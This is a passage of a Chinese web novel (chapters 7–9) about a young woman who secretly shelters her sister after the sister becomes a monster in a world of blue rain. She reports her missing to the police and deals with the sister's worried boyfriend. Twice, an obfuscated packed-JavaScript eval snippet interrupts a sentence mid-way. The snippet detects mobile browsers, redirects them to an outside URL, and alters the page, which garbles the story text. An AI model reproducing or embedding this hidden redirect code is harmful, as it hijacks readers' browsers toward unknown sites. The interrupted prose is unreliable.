向烛忍着胃中翻涌不断的恶心,戴好手套把剩下的分装进两个黑色袋子中,全程尽量不往里看。不得不触碰到息块时,她一个寒颤,起了一身的鸡皮疙瘩。 向烛将袋口扎紧,一把塞进冰箱冷冻层——这个冰箱的上层她以后一定再也不用了。 向烛浑身脏兮兮,之前出的汗都被风吹干黏在身上。她去阳台扯了件睡衣,走向卫生间准备洗澡。 温热的水打在她身上,一直失序的心跳渐渐回归平稳,蓬乱的头发垂搭下来。 淋湿的长发紧贴着大臂,乌黑、缭乱,绕成一个个小圈,水铺张在一个个小孔之间……像蛛网在缠着她。 向烛捏起发丝,水沿着下颌滑落,她盯着上面细密的小水珠愣愣看了许久。 等她吹完头发出来,原本瘫在地上的灯姐站起来了。 她变得格外高大,看起来有一米九,手长腿长。脑袋是各种花草簇拥在一起的形状,栀子花、月季、雪柳、络石、雏菊、狗尾草……像是一大捧花束挡在面前,只露出个下巴。她的肩膀宽阔,四肢和躯干却很纤细,胸前平坦无物,手指像树枝一样弯弯曲曲。 身上每个地方都有水波纹在荡漾,水珠从一个地方拉伸出来,融进身体的另一个地方,不断循环。双腿则有像树根一样向上缠绕的纹路。 灯姐已经不像灯姐,完全是另外一种生物了。 向烛刚平静没多久的心又开始失了节奏。 这还是她姐吗?这一定还是她姐。她头上的花草都是家里种过的类别,而且没有攻击她就是最好的佐证。 心底有另一个声音响起:那是因为她现在被你喂饱了。 不是的。向烛只喂了她一顿而已,灯姐完全可以杀她做储备粮,就像公交车上的那个雨人一样。 难道姐姐在圈养她吗? 向烛手攥紧。一阵慌乱后很快又冷静下来,她被自己奇怪的想法无奈到,雨人没那么聪明,只要不是刚吃完都是看到人就咬,就算真的要留着后面吃也不是这种和平相处的感觉,不然外面早就出现“人类养殖地”了。而且即使吃饱了,当时那个雨人对她也很凶残,远没有灯姐这么温柔。 不过向灯陌生的模样还是让向烛有些担忧。真的还有灯姐的意识吗? 向烛从饮水机上拿下一对扭扭棒做的玩偶:一个穿着红上衣黑长裙,侧编了根大辫子,两颗小黑豆作眼睛;另一个穿着全身黑的西装,脖间挂着大金链子,戴了副墨镜。 “姐,这是去年你生日我给你做的,是我们俩,”她晃了晃玩偶,“你记得吧?因为那时候你老出差,说总是见不到我很想我,我就做了这个,记得吗?” 向灯低头看向玩偶,又重新抬起头。她走到白墙前,身体分化出细小的水流挤过微不可见的墙体缝隙,花了几分钟才融匿进去,过了一会儿又从另一端再挤出来。 向烛就看着她在家里来回穿梭,好像是在适应新的身体。 她将玩偶放回原位。 没事,灯姐就在这具怪异的身体里面,这是不争的事实。 只要熬过这段时间,只要坚持下去……等姐姐恢复了,他们就又能过回以前的生活,两个人一起吃饭 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向烛没有点进消息,直接将手机息屏。 明天一定要去派出所报案。可她也没什么演技,能自然地表现不被怀疑吗? 向烛开始搜索影视剧片段,还看了土豆APP上网友们的经历分享,一看就是整个晚上,看到上下眼皮子打架打得实在厉害才洗漱准备睡了。 向灯软成一滩睡在客厅地板,就像一桶水被打翻在地一样。 “晚安,灯姐。”向烛啪地关上灯,回到自己房间。 她熄灯躺下,盖上印着雪柳绘图的被子。没过多久就有门被吱呀推开的声音。 向烛偏头一看,半明半暗中,黑背白胸脯的身影蹭一下跳了上来。 “喵~”它蹭过向烛垂放的手。 向烛顺着揉了揉它的脑袋。 粮长走上来,趴到向烛胸口上,白色的鼻子红通通。 向烛用两只手捏捏它的腮帮子,又搓搓它的脑袋,“我们小丑猫又冷到了是吗?” 虽然有着和黑猫警长一样的基础造型,但粮长鼻子一圈有五个大小不一的黑色斑块,下巴也是全黑的。明明是只母猫,看起来却像个沧桑大叔。 向烛当年将粮长捡回来时,灯姐嫌它丑不想养,最后等了两个星期也没送出去,就由着向烛养了。 向烛用手轻轻摩挲它的鼻子,又揉暖它的耳朵。 虽然粮长刚来的那段时间几乎打碎了家里全部的玻璃杯,但它仍然是一只可爱的小猫。 粮长开始在她肚子上踩奶,戴着白手套的脚来来回回地踩她的小肚子。 这位小师傅按摩按得很认真,就是远超儿时的体重让向烛觉得有点疼。 “我不在家的时候姐姐就交给你照顾咯,尽心尽力一点懂不懂?不然我把你开除~” 向烛抚摸它的脑袋,粮长顺势侧躺下来,脑袋靠在她胸脯上,半条腿悬在外面,发出轻微的呼噜声。 向烛无奈地笑了,她抚拍它的脊背,轻声念:“睡吧~睡吧~” 粮长慢慢闭上眼睛,睡一会儿就要动一下,身体挪着挪着就掉到向烛胳肢窝,整个身子躺在她臂弯,脑袋仍然靠在她胸口。 向烛将头贴上它的额头轻轻蹭,眼睛又有些发酸。 她闭上眼,“灯姐要离开我们一段时间,听不到她训你,也没有她陪你玩,你不要太想她知道吗?你已经是大猫猫了。” 粮长抬起头,半眯着眼睛“喵”了一声。 向烛看着它浅笑,轻轻吻在它头上,“晚安,粮长。”她躺回枕头,慢慢坠入梦乡。 * 夜阑人静时,客厅那滩透明的水又变蓝了。她凝成人形,开始在屋里游走。 手臂在走动中碰到放在饮水机上方的娃娃,黑衣红裙的娃娃摔在地上,她看也没看继续往前。 过了一会儿,她又绕回来。蓝色的手掌托起地上的娃娃,轻轻放回原位。 向灯不再走动了,她开始看着窗外的月亮——月亮皎洁、遥远、朦胧。 7. 第 7 章 半扇玻璃门,有人愁着脸推开,也有人愁着脸推出。 在派出所真的很难高兴。 向烛站在门口,又检查了一遍已经填满信息的《蓝雨失踪人员登记表》,不自觉叹了声气。 向烛只在18岁办身份证时进过派出所,之前自行车被人打坏了她嫌麻烦也没报案,直接上网淘二手,现在居然一个周末内要进去两次…… 幸好不是一个地方的,两件事也没什么关联,不会查她在另一个派出所留下的办案记录——应该不会。 向烛紧张地盯着负责接待的警察。她将自己的身份证、户口本,还有灯姐的近照都递过去,尽量表现出一副陷入惆怅的模样,但也不浮夸。 越自然越不容易引人怀疑…… 对方核实身份信息后就收下表格,让她回家等消息,保持联络方式畅通。 一切都很顺畅,整个流程去除排队没超过五分钟。由于太过顺畅,向烛转身离开时有种做梦一般的虚无感。 居然这么简单……她总是操些多余的心。 这下可以真的安心了,但比起安心,向烛更觉得疲惫。 一个周末连出两天门真的好累,而且这几天都没吃什么正常的饭菜,肚子一直觉得空荡荡的。 向烛走到大厅,看到前台桌面上摆着清雨队的入队宣传单,她拿起一份看。 宣传单最上面是清雨队的标志:一面盾牌抵挡三滴蓝色雨滴。 向烛看向正文,正文分了三栏,左边是危机警示,小标题是“为什么需要你”,罗列了去年一些伤亡惨重的雨人事件,以及清雨队现状。什么“现有队员雨后日均处理12起险情”,还有平时巡逻、处理异能者事件之类的。 向烛还以为不下蓝雨时他们能轻松很多,没想到原来异能者也归他们管。 异能者是和雨人一同出现的。淋到大量蓝雨只有极低的概率觉醒异能,再加上相关政策安排,所以向烛也没近距离见过几个。 异能者在蓝雨第一年出了很大力。但随着社会秩序逐渐恢复,有些不受控的异能者就开始变成了社会祸害。他们仗着自己有异能,随便伤害普通民众。 向烛一直以为这种人都是异能特遣队负责去教训。 「雨人不会等你准备好,你可以现在就站出来。」 向烛看着宣传单上这句话有些失神。 “有兴趣报考吗?”接待处的女警见她看得认真,笑着开口,“春招在四月,现在报名还有很多时间可以准备。”她递过来一张报名表。 向烛下意识接住,“谢谢。请问这个是只招前线岗位吗?” “不是,录取后如果能通过三个月实习期的话,会根据能力分配不同岗位,也可以自己提交岗位申请。具体的你可以扫这个二维码上我们官网看,报名也是在那里报的。你要报吗?报的话我现在就可以帮你提交。” 这样的热情叫向烛有些局促了,她红了脸,“不用了,我还要再考虑一下,谢谢。”她扯出笑容点点头,将宣传单塞进帆布包,快步离开。 向烛走出派出所,马上导航去和人约好的小区取自行车。 向烛很懒,她的勤快都是憋着一口气用的,能一趟搞定的事就不走第二趟。 取来的新自行车颜色有些靓丽,车身是柠檬黄,车筐是同样鲜嫩的绿。又黄又绿的,像某种夏日的汽水饮料。 向烛在网上看到照片时觉得还好,车子蒙尘有点灰灰的,没想到卖家好心洗了一下后会这么亮。 向烛踩上脚踏板,刚开始有些紧张和不好意思,总疑心路人盯着自己的车看,骑了半小时后就两眼空空只剩赶路。 她骑到小区附近的一家理发店,将车子锁在店门口的樟树下,踢下脚撑时因为晃神被勾到脚,划破了袜子。 向烛一推开门,坐在前台玩手机的中年光头男人就站了起来,“剪头发吗?” “您好,我想剪短发,到肩膀上面一些就行。” 男人边走边点头,“那你过来洗个头。” 向烛全程都很听话,让抬头抬头,让低头低头,只是眼睛一直没离开过手机。 她没有玩手机的瘾,只是不玩手机就要和老板尬聊。即便如此,老板还是会和她搭话几句。 “你这头发没做过啊?” 她将眼睛从手机里移出来,看向镜子里老板的脸,笑答道:“这也能看出来吗?” “欸~专门做头发的,烫没烫过一眼就看出来了。没想过染个颜色什么的吗?” 要跟她推销了…… 向烛仍然笑着,“没,我容易喜新厌旧,真染了估计很快就腻了,有点麻烦。” “行,你要剪到哪里?这儿行吗?”老板将梳子比在她肩膀上一个指节的位置。 老板这么爽快,向烛觉得自己有些小人之心度君子之腹了,她有些羞愧,“可以。” 为了缓解心情,向烛又移下眼看手机上的视频。 老板几剪子下去,脑袋后面的重量顿时消失了,保持了几年的长发就这样变成了短发。 向烛只在高中留过短发,毕业后头发一直保持在腰以上的位置,因为听说个子不高留长发会显得更矮。 头发太长了她一般自己修剪,刘海也是自己剪,偶尔失手剪得乱糟糟她就用夹子全部夹在头上。 灯姐作为一个染发爱好者,常年进出理发店,以前特别不能理解向烛,觉得她过于社恐折腾自己。但能自己做得差不多的事情,向烛就不喜欢让别人做,而且这只是一件很小的事。她剪得烂只让自己吃苦,没为难任何人。 老板剪得很快,“刘海要什么样的?” “这个就行。”她随便点了下梳妆台书本上的法式刘海。 银白色的小剪刀伸到她眼前,细碎的头发零零散散落下。 吹风机呼呼一吹,干瘪的头发蓬起来。 老板:“好了。” 向烛看向镜子,短发让她看起来更像都市女性了,沉静利落的感觉加深。 向烛从小就长得比较成熟,工作两年,乖巧文静的氛围褪去后更是如此。和长相白净可爱的灯姐站在一起,她总是更像姐姐。 向烛起身,摸了下后脖颈,久违的空荡感让人有些不太适应。 洗了个头,向烛精神很多,但等一回到家,疲惫感再度涌来。粮长又不知躲到哪里去了,没像往常一样来门口接她。 向烛看向客厅墙面只露出一半的高大人形,“姐,你还没玩够吗?” 向灯没有回应她,只是默默又隐进墙中。 人的适应能力真可怕。这也没几天,向烛就适应了姐姐这副模样。 她坐到桌边,拿出手机点外卖。手指滑过以前常吃的煲仔饭、卤肉,她点了份有点贵的麻辣烫。 按理来说,现在应该节俭一点,她得攒钱。可向烛真的很想喝口酸甜的汤,吃骨肉相连和豆腐……从下周开始再省着点吧。 向烛放下手机,脑袋往后一仰靠在沙发上,闭上眼睛。 胸口轻轻地起伏又平下,十几个来回后,向烛睁开眼。 她拿出向灯的手机,点开姐姐的联系人界面,开始群发消息: 「你好,我是向灯的妹妹向烛。我姐自从周五下蓝雨那天起就突然失踪了,我找了整整两日,已经报案,警方说大概率是变雨人或者被雨人害了。很抱歉,谢谢你曾经对她给予的关怀」 每个人都发过以后,她还发了条朋友圈。顾不上看人们的回应,向烛闭上眼睛休息,直到外卖的敲门声将她惊醒。 向烛又累又困,脑袋晕涨,直到喝下酸甜的麻辣烫汤才回过精神。 “喵~”粮长跳到她腿间,盯着她面前的碗。 向烛把它的脑袋按下去,“乖乖吃你的猫粮去。” 粮长仍然坐在她腿边。 一大份麻辣烫满满当当,有荤有素。向烛夹起块撒尿牛肉丸,举了半天却塞不进嘴里。 肉丸的表面是起伏不平的,有着细小的褶皱,有几块绿豆大小的肉从上面剥落下来,飘在汤里。 向烛将肉丸放在外卖盖上,夹了块豆腐入嘴。 等她把素都吃完了,碗里还剩一半的荤菜。向烛夹了一筷子骨肉相连,那种因泡汤而变得黏糊的模样,还有脑海中闪现的被割颈飙血的鸡都让她胃中翻涌,最后只吃完了卤蛋。 向烛的脸色又变难看了。她端着碗去厨房,筷子抵着碗口将汤倒了出去,然后将剩下的倒在厨房垃圾里。 更难受的是,明天周一要上班了。 向烛摸出手机,打开跟老板的对话框。 「老大,不好意思,我周末突然头疼得不行,明天请天假行吗?」 消息还没发出去,向烛又哒哒哒将字删掉。 她本来是觉得灯姐现在的情形还不能确定,她应该在家待一天再观察一下,但突然请假的话,公司的人就会对这天印象很深。以后要是有人怀疑,这就是极大的疑点。但姐姐失踪了,她没有精神去上班也很正常……不过最重要的还是以后还有很多需要用钱的地方,请假这个月全勤就没了。 向烛看着对话框思索,最后熄灭屏幕。 手机屏幕再亮起,是放大的“8:20”,嗡嗡嗡的震动和重复的铃声将向烛叫醒。 她在衣柜边换衣服,向灯的花脑袋从墙里冒出来吓了她一跳。 向烛一边穿袜子一边跟它说道:“千万不能出门知道吗?你以后只能在家里待着,不然会出事的。” 向灯没有任何反应,焦虑又开始覆盖向烛的心了。虽然周末她也出了很长时间的门,灯姐除了饥饿时也没离开过家,但她现在是成熟期雨人,兴许会不一样。 “灯姐,你过来。”向烛招招手。 向灯走过来,跟在她身后。 向烛一路带着她走到冰箱,拉开最上面的门,“你如果饿了,上面有息块,”又打开下面的门,抖了抖黑色的袋子,“腐藤在这下面。知道吗?家里有吃的,千万别自己出去,不然你跟我都会有大麻烦。” 向烛将门关上,又拉开演示了一遍,“你明白了吗?” 向灯面向冰箱,保持不动。 向烛看了眼手表,“我得赶紧出门了,你千万记得别出去。” 她到门口穿好鞋,披上有点起球的藏青色针织外套,又挂上黑色的帆布包,包上印了两只猫。 向烛蹲在猫砂旁铲猫屎,最后拎着家里所有垃圾袋出门。 她骑了二十分钟不到的自行车抵达公司电梯,又提前5分钟在手机APP上打了卡。 向烛把秒表取下放进针织外套兜里,又把工牌挂在脖子上,走进电梯滴地一声刷过员工卡,按了5层。 每个工作日的早晨都是这样。 向烛刷开公司自动门的门禁时,打扮时尚的赵云丽正好在饮水机旁边倒水,红色的水汩汩进入杯中。 看她进来,赵云丽端着水杯直起腰,“小向来了。你怎么剪头发了?” “赵姐早。长头发腻了换个短的。” 赵云丽:“看起来好像以前老剧那种职场女性,你还是长头发好看。” 剪都剪了,说这种话有什么意义? 向烛笑了一下,“方便就好。”她坐到工位上打开电脑。 等电脑开机时她看了眼手机上的监控视频。她昨晚下单快送,马上就安装上了。 监控里灯姐正站在客厅看饮水机。 向烛安心地切走界面。打开手机上名为“工作”的文件夹,挨个打开里面各种APP刷国际新闻,刷到有用的就转发给自己。 九点一到,向烛打开各个软件上的公司账号回复粉丝消息。 向烛所在的外创公司做的是对外贸易,在这栋写字楼有两层。楼下是产品,楼上是他们市场部和客服。向烛负责宣传,给老板卖的课打广告,和客服姐姐们坐在一片区域。 向烛对这个真的一点也不感兴趣。但因为是双休,差不多朝九晚六,又不怎么加班,所以也干了半年多。 当今这个年头,生活稳定很重要。为了不让社会垮掉,就算真的世界末日来了,人们也要上班、挣钱…… 有脚步声急匆匆进来,向烛看着一路小跑、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045051|178971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最终一屁股坐在她旁边的蔡萝。 蔡萝今天只穿了一件长T恤,乌黑长发披散在肩。 向烛:“小萝早。” 蔡萝蹲下去按电脑开关,“早啊小向姐。” 蔡萝是实习生,两个人干的工作内容是一个性质的,只是在不同平台给老板打广告罢了。 向烛:“今天降温,你穿得好少啊。” 蔡萝将包里的笔记本、便利贴和笔拿出来,有些不好意思地回道:“我出门了才发现冷,来不及回去就这样了。还好公司挺暖和的。” “嗯。但晚上回去你就遭罪了,今天风很大。” “没办法。” 蔡萝看回自己的电脑屏幕。 向烛也转回头,等到快把周六的新闻看完时她才意识到自己表现得好像不太对。她太习以为常了,还是按照之前的样子生活。 向烛苦笑。 她真是……灯姐明明也是真的变成雨人了,她怎么还能如此平静地上班?她的血果然还是冷的吧? 向烛垂着眼睛看手机屏幕,过了许久才继续滑动。 没有多少能失落的功夫,向烛将国际新闻全部扫完后开始打开表格,上午的工作时间已经过了大半。 她每天有三个号要发文章,其中两个账号都是要发大小两条,虽然现在有AI辅助,写起来快多了,但她要花很多时间去查验信息是否准确。 向烛专心致志干活,偶尔还要检查一下蔡萝写的东西。 赵云丽走到向烛身边,拍了下她的肩膀,聚精会神的向烛吓得抖了一下。 赵云丽失笑,“这周章末广告要换了,你等会儿看下群。” 向烛:“好。” 赵云丽看向一边的蔡萝:“小蔡,老板叫你。” 蔡萝啪啪啪打字的手停下来,“哦。” 向烛看了她一眼,趁蔡萝离开赶紧打开手机监控。监控画面里没有灯姐,向烛操控着机器转头,还没找到,蔡萝就回来了。向烛迅速将手机界面滑走,她看向蔡萝,小萝神色有些僵硬。 向烛:“怎么了?” 蔡萝撇撇嘴,“就是问我这段时间适应得怎么样,有没有觉得哪里不合适要改的。” 看来走了几个实习生后,老板也老实多了。 “那你有吗?有什么你都可以问我的。毕竟是我负责带你。” “嗯……暂时真没有。只有每天写不完稿子的苦。” “习惯就好了。我刚开始来的时候每天也只能卡点写完。” “……好。” 向烛又继续忙着写文章,中午之前发了第一个账号的内容,又把第二个账号的主文章发给老板审核。 她抻了下腰,看向蔡萝,“小萝,吃饭了。” 蔡萝的手指在键盘上飞舞,“好……”她按下最后一个键,站起身。 向烛:“你电脑忘关了。” 蔡萝匆匆忙忙又转回身去关。 向烛先去拿了外卖,坐到公司玻璃窗前的吧台处,蔡萝则去微波炉热饭,热完了便端着饭盒坐在她身边。 向烛现在午饭都是和蔡萝一起。在她来之前,向烛是自己一个人一边戴着耳机看电视,一边吃饭,吃完了就回到座位午休睡觉。 她午饭时不和同事闲聊,平时也是安静干活,有人跟她说话她就回,下班后从来不参加其他同事的聚餐。 向烛也不是冷漠,同事们都说她温柔好相处,她只是需要很多自己的时间,没有精力再分给他们了。 最开始,人事还为此来找她谈过话,以为她融入得不好。向烛解释了很多次她才由着她自己一个人。 后来的后来,蔡萝来了。向烛比较照顾她,蔡萝午饭时就喜欢和她坐在一起。 午休只有一个小时,向烛和蔡萝随便聊下电视电影就度过了吃饭时间。 向烛抬头看落地窗外蓝色的天空,又低头看车来车往的马路,发起了呆。 一切都很平和,就好像什么都没发生一样。 灯姐没有变成雨人,她周末没有去采骸生物,没被送到派出所,也没去报过失踪案……她只是睡了两天懒觉,和灯姐看了些有意思或没意思的电视剧,然后周一的闹钟响起时,她来上班了。 蔡萝拿起饭盒要去洗,看向烛微蹙着眉头,不禁问道:“怎么了?你看什么那么认真?” “今天天空很蓝。”向烛收回眼,收拾桌面脏污。 向烛回到座位刚要躺下,w信滴滴叫了两声,老板给她发了两张截图和一句话:“这里格式不一样,仔细一点”。 午休后再发工作内容不行吗? 向烛也没回,盖上手机就趴桌子上睡了,睡到13点起来才回了个“好的”。 工作有时候很神奇,明明看了很多遍,最后还是会有出错的地方。向烛刚开始的时候会很羞愧,觉得自己很丢人,现在习以为常。毕竟连老板动不动也有很多地方搞错。 稿子写完后,她又将拟好的五六个标题发过去给老板选。 向烛对自己的工作内容真的不怎么关心。某天航线的航船停运,运价涨了……跟她有什么关系呢?只有这篇文章跟她的生计有关系。 向烛就是这样从早到晚打字、看字、删改字……一天下来几乎没什么闲暇的时候,直到下班前半小时,她把工作都做完了,开始缓慢地给老板做讲座的PPT,顺便帮蔡萝审下稿,就这么熬到下班。 向烛关好电脑,急匆匆往外走,她几个箭步就走进电梯。空无一人的电梯里她点开监控看,仍然没见到灯姐。 奇怪……明明平时都爱在客厅乱逛。 电梯门打开,向烛关上手机,快步往外走,走出大楼没几步,有个高大的卷发男人追了上来,“妹妹!等一下!” 向烛听到了这奇怪的呼喊,但没觉得是在叫自己,脚步没停,直到男人拦在她面前,“妹妹你等一下!” 向烛攥紧帆布包的背带,眉头拧结地看向这个陌生人,“你干嘛?” 男人意外地扬起眉,“你不认识我吗?我是许浪生,你姐男朋友。” 8. 第 8 章 许浪生比她想象中“花哨”很多。一头橙棕色的短卷发,印花白衬衣加棕灰色宽松长裤,五官很大,脸有些肉肉的,不像三十多的插画师,像个唱rap的大学生。 灯姐居然谈了个“黄毛”…… 向烛退开半步,警惕心拉满,“我们都没见过面,你怎么知道我在这里?” 许浪生黑眼圈很重,他微直起脊背,“以前你姐经常叫我送她来这栋楼找你。妹妹你剪了短发,跟照片里不一样,我差点没认出来。你姐真失踪了?” 向烛稳住心神,但也摆不出什么好脸色。 她对这种轻浮形象的人都没什么好感,即使是灯姐对象。而且向烛没想到灯姐男朋友会找上门,没预演过这种情形,她很怕说错话。 “……上次下过蓝雨后就不见了,我已经报案,警察说大概率变成雨人或者被雨人害了。只能接受了。”她偏过头准备离开。 许浪生一个大步跟上来,“这怎么能接受?说不准是被坏人绑走了!我有看到新闻,说是周五那天有个危险的异能者跑了出来,一路掳人做掩护,说不准你姐就是被当作人质绑走了!” 向烛加快脚步,被他焦急的情绪感染,不禁变得烦躁,“哪有那么巧的事?过度幻想,失望的时候只会更伤心,许哥你快回家吧。” 许浪生抓住向烛的帆布包,将她整个人都拉得踉跄了一下,“灯灯一直跟我说你俩关系很好,她失踪了你居然就这个态度?有你这样做妹妹的吗!你怎么对得起她!” “你凭什么说我!”向烛扯回包,眼眶发红地瞪着许浪生。 她明明就有在努力照顾姐姐,这个男人什么都不知道凭什么指责她? 看许浪生愣住,向烛突然就冷静了下来。 为什么要跟灯姐的男朋友吵?说到底,许浪生只是想找她姐而已。如果灯姐还能有意识,知道他这么努力估计也会感动。 向烛低下眼,用手抚平帆布包上的褶皱。 要冷静下来……他说的不错。如果灯姐真的失踪了,她作为妹妹应该比任何人都期望她有普通意义上活着的可能才对。向烛应该认同他的猜想,但现在突然转变态度也很奇怪。 向烛轻声道:“我和灯姐以前就约定好了,在现在这种有怪物的世界,如果哪天谁突然失踪了,不要花费时间精力去找,继续过好自己的生活最重要。” 许浪生皱起毛虫样的眉,“找回来再一起过日子不是更好?妹妹,你别这么快就放弃希望,说不准灯灯正在等我们去救她。” 向烛看向他,“如果真是被异能者抓住了,我们两个普通人能怎么办?” 许浪生露出“等的就是这个”的神情,“我们不行,但可以雇人啊,雇荒植的人帮我们找。我听说荒植里有异能者很擅长追踪。我出钱,你出线索。” “荒植的人要是能找到,清雨队的早就找他们帮忙了。” 向烛比许浪生听说中的冷酷锐利太多。虽然一直被泼冷水,他还是坚持道:“他们找的方向跟我们不一样。而且清雨队太忙了,我这种没影的事肯定不会搭理。” 向烛盯着他,神情严肃得骇人。 怎么办……虽然可以就这样放任他去找,但会不会显得她对姐姐太无情?许浪生会不会怀疑到她身上?而且万一没完没了地纠察下去,真查到线索,找到她头上……许浪生才认识灯姐两年不到,肯定不会帮她隐瞒的。 向烛在这段沉默中认真思索:首先,许浪生的猜想方向完全是错的,几乎不可能得到什么结果。如果她混在他的搜找计划里,可以想办法让方向一直歪下去,直到他放弃。这么麻烦的事情,他肯定坚持不了太久。 向烛:“……行。” 许浪生当即喜笑颜开,“那你等我消息!对了,先加个w信?” 向烛不想加,但也没办法。 许浪生加完好友就跟她挥手道别了。 向烛心力交瘁,回家抱起粮长狠狠吸了一口,然后松开手看它跑远。 “姐?姐我回来咯,我今天碰到你男朋友了。”向烛往客厅走去,一眼看到向灯弯身在冰箱旁,上层的门被打开,“姐你饿了?不是三天才需要吃一顿吗?” 向烛走近才发现向灯的手掌粘在了上层冰箱上,她无奈地笑了。 难怪今天在客厅看不到灯姐…… 向烛去饮水机倒了碗热水过来,浇在向灯的手掌和冰箱连接的地方。 水往地上的盆里流,向灯将手拔了出来。她站直身体,在还蹲着的向烛身上遮下一大片阴影。 向烛仰头看她,“姐,我还以为慢慢能够安定下来了,结果你男朋友又来了。你说,薯片算个靠谱的人吗?如果知道你变成这样,他会跟我一样守护你还是揭发你?” 向烛不见向灯男友,知道名字也没什么意义,她也记不住。向灯就给历任男朋友取外号,方便妹妹记。许浪生非常爱吃薯片,所以他就是“薯片”了。 向灯面朝向她,很寂静。 向烛得不到回应,只是笑了一下,“要是以前,姐你肯定会帮我狠狠教训他。薯片今天在我们公司楼下跟我吵,还拽我包,你看,给我勒了这么长一条痕。”她将袖子挽起,露出小臂上一长条红痕。 向灯终于动了一下,冰冷的手覆在那条红痕上,是一种轻盈的柔软。 蓝色掩去了一切。 向烛委屈得红了眼睛,她轻轻回握灯姐的手。 她以后一定要控制住脾气,更小心谨慎,更认真努力…… 向灯抽回手,她走出厨房,又开始在墙体之间来回穿梭。 向烛指间空荡荡的,只余窗外风从指间吹过的凉感。 向烛盯着她看,看灯姐从客厅绕到卧室。 她关上冰箱站起身,走到沙发前坐下,拿出买的红豆包和芝麻包开始啃。第一口下去全是面皮,第二口才尝到了绵软的甜。 沙发的两侧除了各种小动物抱枕和一只盘成圈的奶牛猫以外什么也没有。 一闻到她在吃东西,睡着的粮长惊醒,跑到她怀里坐着,眼巴巴地望。 “喵~喵~” “讨饭王,睡你的觉去。”向烛将它丢出去,粮长又跑上来,她无奈地撕了一块包子皮喂它。 粮长用舌头将包子皮舔进嘴里,咬得很香,向烛又喂了它几口就不喂了,掰开它蹭上来的脑袋,“吃猫粮去,别跟我抢饭吃,我都不够吃了。” 粮长委屈地“嗷嗷”叫,折腾一会儿终于放弃了,躺回原来的位置继续睡。 门口的柜子上有一个圆形的绿色闹钟。秒针一顿一顿地转了一整圈,换来分针咔哒一下。 挂在墙上的电视机屏幕漆黑一片,映出向烛拿着包子呆呆咀嚼的模样。 家里好安静。 其实以前也挺安静的,向烛和向灯吃完饭经常一起坐在沙发上各自玩手机。向灯看漫画,向烛看小说,两人只在看到无语剧情时才会出声吐槽一下。 同样都是安静,两者却好像天差地别。 向烛弯身戳了下粮长,它喵了一声,甩了下黑色的尾巴,但没动。她靠过去,把脸深深埋进去——粮长身上有股干草的味道,不臭也不香,就像是要变成植物了一样,她有一只草猫猫。 向烛的脸在它肚皮表面来回滚动,粮长习惯了,也不挣扎,半眯着眼等她吸完。 “嗡嗡——” 手机w信响了,向烛抬起糊着猫毛的脸,拿起手机一看。 许浪生:「妹妹,明天下班我去接你?我约了荒植的人」 向烛面容平静,打字发送过去:「不用,我们在荒植见就行。我大概六点半前到」 许浪生:「OK.gif」 许浪生:「你带上你姐平时经常用的东西吧,荒植那边说要用」 向烛:「行」 第二天,向烛还是照常上着没什么变化的班,早上看新闻,上午写稿子,中午吃饭…… 蔡萝今天没带饭,跟她一起吃外卖。 看她无精打采地搅动腊肠炒饭,向烛开口道:“小萝你怎么了?感冒没胃口?” “哦,不是……我……”她话刚开头就掉下眼泪。 向烛吓了一跳,抽了张纸递过去,“怎么了?” 蔡萝吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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向烛没多问,只点点头,“好,那听你安排。” 她突然想起许浪生,“不对,今天可能不行,我刚想起来等下下班后要去别的地方。” 蔡萝慌慌张张道:“没事没事,不急的。正好我再整理得好一点,昨天临时收得很乱。”她掰开一次性筷子。 “嗯。” “小向姐,真的谢谢你。” 向烛轻笑,“真的没事。” 下班时间一到,向烛就准点离开。她踩着单车,听车筐里的手机导航,一路左转右转,进了一个有点老旧的小区,又绕了两圈才找到发旧的写字楼。 向烛停好车,刚打开手机要给许浪生发消息,他就从后面跑了过来,“你来了!我在那边看到你了。” “嗯……”向烛收起手机,“是从这边上去吗?” “对。”许浪生走到前面,轻车熟路,领着她一路走进荒植事务所。 虽然写字楼很老,事务所里面却很新,瓷砖的地面,白亮的墙…… 向烛跟许浪生被前台引导着进了一个小房间,两人在同一侧坐下。 尴尬的空气还没蔓延多久,一头红发的女性挎着包走了进来,“不好意思久等了~”她的声音很是温柔。 向烛起身,笑着问候:“您好。” 红发女人笑了笑,“你好~” 向烛跟她同步坐下,目光一直追随着她。 这好像是上次在繁光林的那个人…… 杨晓月没在意她的目光,笑容满面,“我叫杨晓月,是玉簪花组的组长,您这边的委托由我们组负责,您先扫码加下群吧,有什么可以直接问,以后要是还有需要我们的地方也可以在群里联系我们。” 向烛突然觉得自己有可能认错人了。 她和许浪生打开手机老实扫码,又多了个群。 群头像是一枝洁白的玉簪花,群成员去掉他俩有5个。 杨晓月:“如果联系不上我,可以找我们副组长卢几黄。” 许浪生:“行。那你们现在就能找吗?” 杨晓月笑容不减,“当然,您这边东西带了吗?” 许浪生看往向烛。 9. 第 9 章 “带了,”向烛从帆布包里拿出一把檀木梳子,递过去,“麻烦你了。” 杨晓月笑着从包里拿出小木盘接住,“行,我试一下。” 向烛紧盯着她,心跳逐渐加快。 杨晓月将手指按在盘边,闭上双眼,手掌突然分化出无数细小的肤色丝线,向上聚起再往下,呈球形包裹住整个木盘。 向烛突然生起一种强烈的陌生感。虽然她和这位杨组长都以人类女性的身躯存活于世,却像两个物种……杨组长像是科幻电影里那种角色。 丝线退缩回去,杨晓月睁开眼,“线都断了。” 许浪生眉头紧皱,“什么断了?” 杨晓月放下木盘,一本正经道:“梳子上面年轻的生缘线有两条,一条系在这位女士身上,另一条只有一半,说明这个人已经不在,先生你不用再找了。” 杨晓月发动能力时能看到所触物品上的生缘线。 